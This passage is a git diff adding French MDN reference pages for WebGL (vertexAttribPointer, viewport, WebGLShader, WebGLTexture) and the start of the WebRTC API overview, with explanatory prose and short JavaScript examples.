+<p>Bien que le <code>ArrayBuffer</code> puisse être rempli à la fois d'entiers et de flottants, les attributs seront toujours convertis en flottant lorsqu'ils seront envoyés au shader de sommet. Si vous avez besoin d'utiliser des entiers dans votre code de shader de sommet, vous pouvez, soit reconvertir les flottants en entiers dans le shader de sommet (par exemple, <code>(int) floatNumber</code>), soit utiliser {{domxref("WebGL2RenderingContext.vertexAttribIPointer()", "gl.vertexAttribIPointer()")}} à partir de WebGL2.</p>
+
+<h3 id="Valeurs_d'attribut_par_défaut">Valeurs d'attribut par défaut</h3>
+
+<p>Le code de vertex shader peut inclure un certain nombre d'attributs, mais nous n'avons pas besoin de spécifier les valeurs pour chaque attribut. A la place, nous pouvons fournir une valeur par défaut qui sera identique pour tous les sommets. Nous pouvons appeler <code>{{domxref("WebGLRenderingContext.disableVertexAttribArray()", "gl.disableVertexAttribArray()")}}</code> pour indiquer à WebGL d'utiliser la valeur par défaut, tandis que l'appel à {{domxref("WebGLRenderingContext.enableVertexAttribArray ()", "gl.enableVertexAttribArray () ")}} lira les valeurs du buffer du tableau comme spécifié avec <code>gl.vertexAttribPointer()</code>.</p>
+
+<p>De façon similaire, si notre shader de sommet attend par ex. un attribut à 4 composantes avec <code>vec4</code>, mais que dans notre appel à <code>gl.vertexAttribPointer()</code>, nous définissons la taille à 2, alors WebGL définira les deux premières composantes en se basant sur le tampon des tableaux, tandis que les troisième et quatrième composantes prendront la valeur par défaut.</p>
+
+<p>La valeur par défaut est <code>vec4(0.0, 0.0, 0.0, 1.0)</code> par défaut, mais nous pouvons spécifier une valeur par défaut différente avec <code>{{domxref ("WebGLRenderingContext.vertexAttrib()", "gl.vertexAttrib[1234]f[v]()")}}</code>.</p>
+
+<p>Par exemple, votre shader de sommet peut utiliser une position et un attribut de couleur. La plupart des maillages ont leur couleur spécifiée au niveau des sommets, mais certains maillages ont une teinte uniforme. Pour ces maillages, il n'est pas nécessaire de définir la même couleur pour chaque sommet dans le tampon des tableaux, aussi vous utiliserez <code>gl.vertexAttrib4fv()</code> pour définir une couleur constante.</p>
+
+<h3 id="Interrogation_des_paramètres_en_cours">Interrogation des paramètres en cours</h3>
+
+<p>Vous pouvez appeler {{domxref ("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} et {{domxref ("WebGLRenderingContext.getVertexAttribOffset()", "gl.getVertexAttribOffset()")}} pour obtenir les paramètres en cours d'un attribut, par ex., le type de données ou si l'attribut doit être normalisé. Gardez présent à l'esprit que ces fonctions WebGL ont des performances faibles et qu'il est préférable de stocker l'état dans votre application JavaScript. Cependant, ces fonctions sont idéales pour déboguer un contexte WebGL sans toucher au code de l'application.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple montre comment envoyer vos attributs de sommet au programme shader. Nous utilisons une structure de données imaginaire, dans laquelle les attributs de chaque sommet sont stockés entrelacés avec une longueur de 20 octets par sommet :</p>
+
+<ol>
+ <li><strong>position :</strong> nous devons stocker les coordonnées X, Y et Z. Pour une précision maximale, nous utilisons des flottants 32 bits ; au total, cela utilise 12 octets ;</li>
+ <li><strong>vecteur normal :</strong> nous avons besoin de stocker les composantes X, Y et Z du vecteur normal, mais comme la précision n'est pas si importante que cela, nous utilisons des entiers signés sur 8 bits. Pour de meilleures performances, nous alignons les données sur 32 bits en stockant également une quatrième composante de valeur zéro, ce qui porte la taille totale à 4 octets. Également, nous indiquons à WebGL de normaliser les valeurs, car nos normales sont toujours dans la plage [-1, 1] ;</li>
+ <li><strong>coordonnées de texture :</strong> nous avons besoin de stocker les coordonnées U et V ; pour que ces nombres entiers non signés sur 16 bits offrent suffisamment de précision, la taille totale est de 4 octets. Nous indiquons également à WebGL de normaliser les valeurs à [0, 1].</li>
+</ol>
+
+<p>Par exemple, le sommet suivant :</p>
+
+<pre class="brush: json">{
+  "position": [1.0, 2.0, 1.5],
+  "normale": [1.0, 0.0, 0.0],
+  "coordTex": [0.5, 0.25]
+}
+</pre>
+
+<p>sera stocké dans le tampon des tableaux comme suit :</p>
+
+<table style="width: auto;">
+ <tbody>
+  <tr>
+   <td style="background-color: #ccf;">00 00 80 3F</td>
+   <td style="background-color: #ddf;">00 00 00 40</td>
+   <td style="background-color: #ccf;">00 00 0C 3F</td>
+   <td style="background-color: #cfc;">7F</td>
+   <td style="background-color: #dfd;">00</td>
+   <td style="background-color: #cfc;">00</td>
+   <td style="background-color: #dfd;">00</td>
+   <td style="background-color: #fcc;">7F FF</td>
+   <td style="background-color: #fdd;">3F FF</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Création_du_tampon_des_tableaux">Création du tampon des tableaux</h3>
+
+<p>Tout d'abord, nous créons dynamiquement le tampon des tableaux à partir de données JSON en utilisant un {{domxref("DataView")}}. Notez l'utilisation de <code>true</code>, car WebGL s'attend à ce que nos données soient en little-endian.</p>
+
+<pre class="brush: js">// Charger la géometrie avec fetch() et Response.json()
+const response = await fetch('assets/geometry.json');
+const sommets = await response.json();
+
+// Créer le tampon des tableaux
+const tampon = new ArrayBuffer(20 * sommets.length);
+// Remplir le tampon des tableaux
+const dv = new DataView(tampon);
+for (let i = 0; i &lt; sommets.length; i++) {
+  dv.setFloat32(20 * i, sommets[i].position[0], true);
+  dv.setFloat32(20 * i + 4, sommets[i].position[1], true);
+  dv.setFloat32(20 * i + 8, sommets[i].position[2], true);
+  dv.setInt8(20 * i + 12, sommets[i].normale[0] * 0x7F);
+  dv.setInt8(20 * i + 13, sommets[i].normale[1] * 0x7F);
+  dv.setInt8(20 * i + 14, sommets[i].normale[2] * 0x7F);
+  dv.setInt8(20 * i + 15, 0);
+  dv.setUint16(20 * i + 16, sommets[i].coordTex[0] * 0xFFFF, true);
+  dv.setUint16(20 * i + 18, sommets[i].coordTex[1] * 0xFFFF, true);
+}</pre>
+
+<p>Pour de meilleures performances, nous pourrions également effectuer la conversion JSON vers ArrayBuffer précédente du côté serveur, par ex. avec Node.js. Nous pourrions alors charger le fichier binaire et l'interpréter comme un tampon de tableaux :</p>
+
+<pre class="brush: js">const response = await fetch('assets/geometry.bin');
+const tampon = await response.arrayBuffer();
+</pre>
+
+<h3 id="Utiliser_le_tampon_de_tableaux_avec_WebGL">Utiliser le tampon de tableaux avec WebGL</h3>
+
+<p>Tout d'abord, nous créons un nouvel Objet Tampon de Sommets (OTS) et nous l'alimentons avec notre tampon de tableaux :</p>
+
+<pre class="brush: js">// Lier le tampon de tableaux à l'Objet Tampon de Sommets
+const ots = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, ots);
+gl.bufferData(gl.ARRAY_BUFFER, buffer, gl.STATIC_DRAW);
+</pre>
+
+<p>Ensuite, nous spécifions la disposition en mémoire du tampon de tableaux, soit en définissant nous-mêmes l'indice :</p>
+
+<pre class="brush: js, highlight:[3, 6, 9]">// Décrire la disposition du tampon :
+//1. position, non normalisé
+gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 20, 0);
+gl.enableVertexAttribArray(0);
+//2. vecteur normal, normalisé à [-1, 1]
+gl.vertexAttribPointer(1, 4, gl.BYTE, true, 20, 12);
+gl.enableVertexAttribArray(1);
+//3. coordonnées de texture, normalisées à [0, 1]
+gl.vertexAttribPointer(2, 2, gl.UNSIGNED_SHORT, true, 20, 16);
+gl.enableVertexAttribArray(2);
+
+// Définir les attributs dans le shader de sommet aux mêmes indices
+gl.bindAttribLocation(shaderProgram, 0, 'position');
+gl.bindAttribLocation(shaderProgram, 1, 'normal');
+gl.bindAttribLocation(shaderProgram, 2, 'texUV');
+// Du fait que indices des attributs ont changé, nous devons refaire l'édition de liens du shader
+// Noter que cela réinitialisera tous les uniforms qui avaient été précédemment définis.
+gl.linkProgram(shaderProgram);
+</pre>
+
+<p>soit en utilisant l'indice fourni par la carte graphique, au lieu de le définir nous-mêmes ; cela évite la réédition des liens du programme shader.</p>
+
+<pre class="brush: js, highlight:[2, 6, 10]">const positionLoc = gl.getAttribLocation(shaderProgram, 'position');
+gl.vertexAttribPointer(positionLoc, 3, gl.FLOAT, false, 20, 0);
+gl.enableVertexAttribArray(positionLoc);
+
+const normalLoc = gl.getAttribLocation(shaderProgram, 'normal');
+gl.vertexAttribPointer(normalLoc, 4, gl.BYTE, true, 20, 12);
+gl.enableVertexAttribArray(normalLoc);
+
+const texUVLoc = gl.getAttribLocation(shaderProgram, 'texUV');
+gl.vertexAttribPointer(texUVLoc, 2, gl.UNSIGNED_SHORT, true, 20, 16);
+gl.enableVertexAttribArray(texUVLoc);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.10", "vertexAttribPointer")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>
+    <p>Définition initiale.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glVertexAttribPointer.xml", "glVertexAttribPointer")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>
+    <p>Page man de l’API OpenGL.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.vertexAttribPointer")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.khronos.org/opengl/wiki/Vertex_Specification">Vertex Specification</a> sur le wiki OpenGL</li>
+</ul>
diff --git a/files/fr/web/api/webglrenderingcontext/viewport/index.html b/files/fr/web/api/webglrenderingcontext/viewport/index.html
new file mode 100644
index 0000000000..48458a42c5
--- /dev/null
+++ b/files/fr/web/api/webglrenderingcontext/viewport/index.html
@@ -0,0 +1,94 @@
+---
+title: WebGLRenderingContext.viewport()
+slug: Web/API/WebGLRenderingContext/viewport
+tags:
+  - API
+  - Méthode
+  - Reference
+  - WebGL
+  - WebGLRenderingContext
+translation_of: Web/API/WebGLRenderingContext/viewport
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>La méthode <strong><code>WebGLRenderingContext.viewport()</code></strong> de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> définit le viewport, qui indique la transformation affine de x et de y, de coordonnées d'appareil normalisées en coordonnées de fenêtre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>void gl</em>.viewport</var><var>(x, y, largeur, hauteur);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un {{domxref("GLint")}} indiquant la coordonnée horizontale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0.</dd>
+ <dt><code>y</code></dt>
+ <dd>Un {{domxref("GLint")}} indiquant la coordonnée verticale du coin inférieur gauche de l'origine du viewport. Valeur par défaut : 0.</dd>
+ <dt>largeur</dt>
+ <dd>Un {{domxref("Glsizei")}} non négatif indiquant la largeur du viewport. Valeur par défaut : la largeur du canevas.</dd>
+ <dt>height</dt>
+ <dd>Un {{domxref("Glsizei")}} non négatif indiquant la hauteur du viewport. Valeur par défaut : la hauteur du canevas.</dd>
+</dl>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Aucune.</p>
+
+<h3 id="Erreurs_déclenchées">Erreurs déclenchées</h3>
+
+<p>Si <em>largeur</em> ou <em>hauteur</em> est une valeur négative, une erreur <code>gl.INVALID_VALUE</code> est déclenchée.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Lorsque vous créez un contexte WebGL pour la première fois, la taille de la fenêtre correspondra à celle du canevas. Toutefois, si vous redimensionnez le canevas, vous devrez indiquer au contexte de WebGL une nouvelle définition de viewport. Dans cette situation, vous pouvez utiliser <code>gl.viewport</code>.</p>
+
+<pre class="brush: js">gl.viewport(0, 0, canevas.width, canevas.height);
+</pre>
+
+<p>La largeur et la hauteur de la fenêtre sont limitées à une plage dépendante de l'implémentation. Pour obtenir cette plage, vous pouvez utiliser la constante <code>MAX_VIEWPORT_DIMS</code>, qui renvoie un {{jsxref ("Int32Array")}}.</p>
+
+<pre class="brush: js">gl.getParameter(gl.MAX_VIEWPORT_DIMS);
+// Par ex., Int32Array[16384, 16384]
+</pre>
+
+<p>Pour obtenir le viewport en cours, faites une requête sur la constante <code>VIEWPORT</code>.</p>
+
+<pre class="brush: js">gl.getParameter(gl.VIEWPORT);
+// e.g. Int32Array[0, 0, 640, 480]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.14.4", "viewport")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('OpenGL ES 2.0', "glViewport.xml", "glViewport")}}</td>
+   <td>{{Spec2('OpenGL ES 2.0')}}</td>
+   <td>Page man de l'API OpenGL.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité dans cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</p>
+
+<p>{{Compat("api.WebGLRenderingContext.viewport")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.scissor()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getParameter()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webglshader/index.html b/files/fr/web/api/webglshader/index.html
new file mode 100644
index 0000000000..45fa736678
--- /dev/null
+++ b/files/fr/web/api/webglshader/index.html
@@ -0,0 +1,109 @@
+---
+title: WebGLShader
+slug: Web/API/WebGLShader
+tags:
+  - Reference
+  - WebGL
+  - WebGLShader
+translation_of: Web/API/WebGLShader
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Le <strong>WebGLShader</strong> fait partie de l'<a href="/fr-FR/docs/Web/API/WebGL_API">API WebGL</a> et peut être un shader de sommet ou de fragment. Un {{domxref ("WebGLProgram")}} requiert les deux types de shaders.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Pour créer un <strong>WebGLShader,</strong> utiliser {{domxref("WebGLRenderingContext.createShader")}}, puis reliez-y le code source GLSL en utilisant {{domxref("WebGLRenderingContext.shaderSource()")}}, et enfin, appelez {{domxref ("WebGLRenderingContext.compileShader()")}} pour terminer et compiler le shader. À ce stade, le WebGLShader n'est toujours pas sous une forme utilisable et doit toujours être relié à un {{domxref ("WebGLProgram")}}.</p>
+
+<pre class="brush: js">function creerShader (gl, codeSource, type) {
+  // Compile un shader de type soit gl.VERTEX_SHADER, soit gl.FRAGMENT_SHADER
+  var shader = gl.createShader( type );
+  gl.shaderSource( shader, codeSource );
+  gl.compileShader( shader );
+
+  if ( !gl.getShaderParameter(shader, gl.COMPILE_STATUS) ) {
+    var info = gl.getShaderInfoLog( shader );
+    throw 'Impossible de compiler le programme WebGL.\n\n' + info;
+  }
+  return shader;
+}
+</pre>
+
+<p>Voir {{domxref("WebGLProgram")}} pour des informations sur la liaison de shaders.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'un_shader_de_sommet">Création d'un shader de sommet</h3>
+
+<p>Notez qu'il existe de nombreuses autres stratégies pour écrire des chaînes de code source de shader et y accéder. Ces exemples sont à titre d'illustration seulement.</p>
+
+<pre class="brush: js">var sourceShaderDeSommet =
+  'attribute vec4 position;\n' +
+  'void main() {\n' +
+  '  gl_Position = position;\n' +
+  '}\n';
+
+// Utilisez la function creerShader de l'exemple ci-dessus
+var shaderDeSommet = creerShader(gl, sourceShaderDeSommet, gl.VERTEX_SHADER)
+</pre>
+
+<h3 id="Création_d'un_shader_de_fragment">Création d'un shader de fragment</h3>
+
+<pre class="brush: js">var sourceShaderDeFragment =
+  'void main() {\n' +
+  '  gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);\n' +
+  '}\n';
+
+// Utilisez la fonction creerShader de l'exemple ci-dessus
+var shaderDeFragment = creerShader(gl, sourceShaderDeFragment, gl.FRAGMENT_SHADER)
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.8", "WebGLShader")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, voyez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une pull request.</p>
+
+<p>{{Compat("api.WebGLShader.WebGLShader")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLProgram")}}</li>
+ <li>{{domxref("WebGLRenderingContext.attachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.bindAttribLocation()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compileShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.detachShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getAttachedShaders()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getProgramInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderPrecisionFormat()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderInfoLog()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getShaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isShader()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.linkProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.shaderSource()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.useProgram()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.validateProgram()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webgltexture/index.html b/files/fr/web/api/webgltexture/index.html
new file mode 100644
index 0000000000..e6aa357f6d
--- /dev/null
+++ b/files/fr/web/api/webgltexture/index.html
@@ -0,0 +1,74 @@
+---
+title: WebGLTexture
+slug: Web/API/WebGLTexture
+tags:
+  - API
+  - Reference
+  - WebGL
+translation_of: Web/API/WebGLTexture
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>L'interface WebGLTexture fait partie de l'<a href="/fr/docs/Web/API/WebGL_API">API WebGL</a> et représente un objet de texture opaque fournissant un stockage et un état pour les opérations de texturation.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>L'objet WebGLTexture ne définit aucune méthode ou propriété propre, et son contenu n'est pas directement accessible. Lors du travail avec des objets WebGLTexture, les méthodes suivantes du {{domxref("WebGLRenderingContext")}} sont utiles :</p>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Création_d'une_texture">Création d'une texture</h3>
+
+<pre class="brush: js">var canevas = document.getElementById('canvas');
+var gl = canevas.getContext('webgl');
+var texture = gl.createTexture();
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebGL', "#5.9", "WebGLTexture")}}</td>
+   <td>{{Spec2('WebGL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">La table de compatibilité des navigateurs de cette page est générée à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et de nous envoyer une "a pull request".</p>
+
+<p>{{Compat("api.WebGLTexture")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.bindTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.createTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.deleteTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.isTexture()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.compressedTexSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.copyTexImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.copyTexSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.generateMipmap()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.getTexParameter()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texSubImage2D()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texParameterf()")}}</li>
+ <li>{{domxref("WebGLRenderingContext.texParameteri()")}}</li>
+</ul>
diff --git a/files/fr/web/api/webrtc_api/index.html b/files/fr/web/api/webrtc_api/index.html
new file mode 100644
index 0000000000..a03e5682bc
--- /dev/null
+++ b/files/fr/web/api/webrtc_api/index.html
@@ -0,0 +1,209 @@
+---
+title: L'API WebRTC
+slug: Web/API/WebRTC_API
+tags:
+  - API
+  - API WebRTC
+  - Atterrissage
+  - Audio
+  - Conference
+  - Media
+  - Réseau
+  - Video
+  - WebRTC
+  - diffusion
+translation_of: Web/API/WebRTC_API
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong>WebRTC</strong> (Web Real-Time Communications) est une technologie qui permet aux applications et sites web de capturer et éventuellement de diffuser des médias audio et/ou vidéo, ainsi que d'échanger des données arbitraires entre les navigateurs sans passer par un intermédiaire.</span> L'ensemble de normes qui comprend WebRTC permet de partager des données et d'effectuer des téléconférences peer-to-peer, sans exiger que l'utilisateur installe des plug-ins ou tout autre logiciel tiers.</p>
+
+<p>WebRTC se compose de plusieurs API et protocoles interdépendants qui fonctionnent ensemble pour y parvenri. La documentation que vous trouverez ici vous aidera à comprendre les principes de base de WebRTC, comment configurer et utiliser les connexions de données et multimédias, et plus encore.</p>
+
+<h2 id="Concepts_et_utilisation_du_WebRTC">Concepts et utilisation du WebRTC</h2>
+
+<p>WebRTC a plusieurs objectifs et chevauche considérablement l'API Media Capture and Streams. Ensemble, ils offrent de puissantes capacités multimédias au web, notamment la prise en charge des conférences audio et vidéo, l'échange de fichiers, la gestion des idendités et l'interfaçage avec les systèmes téléphoniques hérités en envoyant des signaux {{Glossary("DTMF")}}. Les connexions entre pairs peuvent être établies sans nécessiter de pilotes ou de plug-ins spéciaux, et peuvent souvent être établies sans aucun serveur intermédiaire.</p>
+
+<p>Les connexions entre deux pairs sont créées à l'aide de - et représentées par - l'interface {{domxref("RTCPeerConnection")}}. Une fois la connexion établie et ouverte, des flux multimédias ({{domxref("MediaStream")}}s) et/ou des canaux de données ({{domxref("RTCDataChannel")}}s) peuvent être ajoutés à la connexion.</p>
+
+<p>Les flux multimédias peuvent être constitués de n'importe quel nombre de pistes d'informations multimédias; les pistes, qui sont représentées par des objets basés sur l'interface {{domxref("MediaStreamTrack")}}, peuvent contenir l'un des nombreux types de données multimédias, y compris audio, vidéo et texte (comme des sous-titres ou même des noms de chapitre). La plupart des flux se composent d'au moins une piste audio et probablement également d'une piste vidéo, et peuvent être utilisés pour envoyer et recevoir à la fois des médias en direct ou des informations multimédias stockées (comme un film diffusé en continu).</p>
+
+<p>Vous pouvez également utiliser la connexion entre deux pairs pour échanger des données binaires arbitraires à l'aide de l'interface {{domxref("RTCDataChannel")}}. Cela peut être utilisé pour les informations de canal arrière, l'échange de métadonnées, les paquets d'état du jeu, les transferts de fichiers ou même comme canal principal pour le transfert de données.</p>
+
+<p><em><strong>plus de détails et de liens vers des guides et didacticiels pertinents nécessaires</strong></em></p>
+
+<h2 id="Interfaces_WebRTC">Interfaces WebRTC</h2>
+
+<p>Étant donné que WebRTC fournit des interfaces qui fonctionnent ensemble pour accomplir une variété de tâches, nous avons divisé les interfaces dans la liste ci-dessous par catégorie. Veuillez consulter la barre latérale pour une liste alphabétique.</p>
+
+<h3 id="Configuration_et_gestion_de_la_connexion">Configuration et gestion de la connexion</h3>
+
+<p>Ces interfaces sont utilisées pour configurer, ouvrir et gérer les connexions WebRTC.</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection")}}</dt>
+ <dd>Représente une connexion WebRTC entre l'ordinateur local et un homologue distant. Il est utilisé pour gérer un flux de données efficace entre les deux pairs.</dd>
+ <dt>{{domxref("RTCDataChannel")}}</dt>
+ <dd>Représente un canal de données bidirectionnel entre deux homologues d'une connexion.</dd>
+ <dt>{{domxref("RTCDataChannelEvent")}}</dt>
+ <dd>Représente les événements qui se produisent lors de l'attachement d'un {{domxref("RTCDataChannel")}} à un {{domxref("RTCPeerConnection")}}. Le seul événement envoyé avec cette interface est {{event("datachannel")}}.</dd>
+ <dt>{{domxref("RTCSessionDescription")}}</dt>
+ <dd>Représente les paramètres d'une session. Chaque <code>RTCSessionDescription</code> se compose d'une description {{domxref("RTCSessionDescription.type", "type")}} indiquant quelle partie du processus de négociation offre / réponse elle décrit et du descripteur {{Glossary("SDP")}} du session.</dd>
+ <dt>{{domxref("RTCSessionDescriptionCallback")}}</dt>
+ <dd>Le RTCSessionDescriptionCallback est passé dans l'objet {{domxref("RTCPeerConnection")}} lors de la demande de création d'offres ou de réponses.</dd>
+ <dt>{{domxref("RTCStatsReport")}}</dt>
+ <dd>Fournit des informations détaillant les statistiques pour une connexion ou pour une piste individuelle sur la connexion; le rapport peut être obtenu en appelant {{domxref("RTCPeerConnection.getStats()")}}.</dd>
+ <dt>{{domxref("RTCIceCandidate")}}</dt>
+ <dd>Représente un serveur d'établissement de connectivité Internet (ICE) candidat pour l'établissement d'un {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCIceTransport")}}</dt>
+ <dd>Représente des informations sur un transport d'établissement de connectivité Internet (ICE).</dd>
+ <dt>{{domxref("RTCIceServer")}}</dt>
+ <dd>Définit comment se connecter à un seul serveur ICE (tel qu'un serveur STUN ou TURN).</dd>
+ <dt>{{domxref("RTCPeerConnectionIceEvent")}}</dt>
+ <dd>Représente les événements qui se produisent en relation avec les candidats ICE avec la cible, généralement un {{domxref("RTCPeerConnection")}}. Un seul événement est de ce type: {{event("icecandidate")}}.</dd>
+ <dt>{{domxref("RTCRtpSender")}}</dt>
+ <dd>Gère l'encodage et la transmission des données pour un {{domxref("MediaStreamTrack")}} sur un {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCRtpReceiver")}}</dt>
+ <dd>Gère la réception et le décodage des données pour un {{domxref("MediaStreamTrack")}} sur un {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCRtpContributingSource")}}</dt>
+ <dd>Contient des informations sur une source contributive donnée (CSRC), y compris l'heure la plus récente où un paquet que la source a contribué a été lu.</dd>
+ <dt>{{domxref("RTCTrackEvent")}}</dt>
+ <dd>Indique qu'un nouvel {{domxref("MediaStreamTrack")}} entrant a été créé et qu'un objet {{domxref("RTCRtpReceiver")}} associé a été ajouté à l'objet {{domxref("RTCPeerConnection")}}.</dd>
+ <dt>{{domxref("RTCConfiguration")}}</dt>
+ <dd>Utilisé pour fournir des options de configuration pour un <a href="/fr/docs/Web/API/RTCPeerConnection" title="The RTCPeerConnection interface represents a WebRTC connection between the local computer and a remote peer. It provides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed."><code>RTCPeerConnection</code></a>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("RTCSctpTransport")}}</dt>
